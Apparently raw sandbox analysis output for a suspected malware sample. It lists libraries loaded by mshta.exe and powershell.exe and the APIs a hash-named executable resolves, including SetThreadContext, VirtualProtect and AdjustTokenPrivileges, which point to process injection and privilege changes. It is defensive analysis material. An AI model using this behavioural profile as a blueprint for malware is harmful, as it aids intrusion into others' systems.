API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter msls31.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter d2d1.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter DWrite.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter dxgi.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\DXGIDebug.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter setupapi.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter WINTRUST.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter vm3dum_loader.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter XmlLite.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter DXGI.DLL (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter d3d11.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter D3D10Warp.dll (UID: 00000000-00005936) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\D3D10Warp.dll (UID: 00000000-00005936) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Pb378ec07#\d254c63bedcb76c81c3125bd527b7d1a\Microsoft.PowerShell.ConsoleH (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Manaa57fc8cc#\73a1a80aed03e789a49cec899b7505dd\System.Management.Automation. (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automatio (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter MSISIP.DLL (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPT32.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\wshext.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\WindowsPowerShell\v1.0\pwrshsip.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Data\df2dd09ed7c341842a104e1e668f184e\System.Data.ni.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Management\e114780fd3ea5727401c06ea4f22ef35\System.Management.ni.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Dired13b18a9#\2e76676fbd265f70be92c82bbf76b8e5\System.DirectoryServices.ni.d (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.P6f792626#\05765f777020deeddc8ad54b48343b9c\Microsoft.PowerShell.Security (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\f0821980bfe2fc8375ccfc37dbe6e9d8\Microsoft.Management.Infrastr (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Transactions\3d760b4a3260a41ef84a3fd866780980\System.Transactions.ni.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Numerics\e7d6ed984300c7212c6e682c4f730b1e\System.Numerics.ni.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.CSharp\f73f48afb5512225dedaee9c88ac5050\Microsoft.CSharp.ni.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter WINTRUST.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.P521220ea#\45d6173bf76d6c7a206f8f41403f947b\Microsoft.PowerShell.Commands (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Confe64a9051#\1561b93d6d25c4a9c3e2659ab29a5e73\System.Configuration.Install. (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003404) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003404)38:T16606,"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RtlUnwind (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter HeapFree (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter HeapReAlloc (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetProcessHeap (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SysFreeString (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SysReAllocStringLen (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SysAllocStringLen (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter VirtualQuery (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SizeofResource (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter LockResource (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter LoadResource (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetCommandLineW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter FindResourceW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RtlZeroMemory (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter DeleteCriticalSection (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter LeaveCriticalSection (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter EnterCriticalSection (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter InitializeCriticalSection (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter InterlockedDecrement (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter InterlockedIncrement (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter lstrlenA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter lstrcpynA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter lstrcpyA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter LoadLibraryExA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetThreadLocale (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetStartupInfoA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetLocaleInfoA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter FindFirstFileA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CreateThread (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter UnhandledExceptionFilter (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SetEndOfFile (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetSystemTime (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetKeyboardType (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter MessageBoxA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter CharNextA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SafeArrayPutElement (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SafeArrayPtrOfIndex (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SafeArrayCreate (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter VariantChangeTypeEx (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter VariantCopyInd (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter VariantClear (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SysStringLen (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter TlsSetValue (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter TlsGetValue (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SetTokenInformation (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RegSetValueExA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RegDeleteKeyW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RegCreateKeyW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter RegCreateKeyA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueA (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter LookupAccountSidW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter IsValidSid (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SetProcessAffinityMask (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SetPriorityClass (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SetFileAttributesW (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00005644) "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" called "GetProcAddress" with a parameter SetErrorMode (UID: 00000000-00005644) 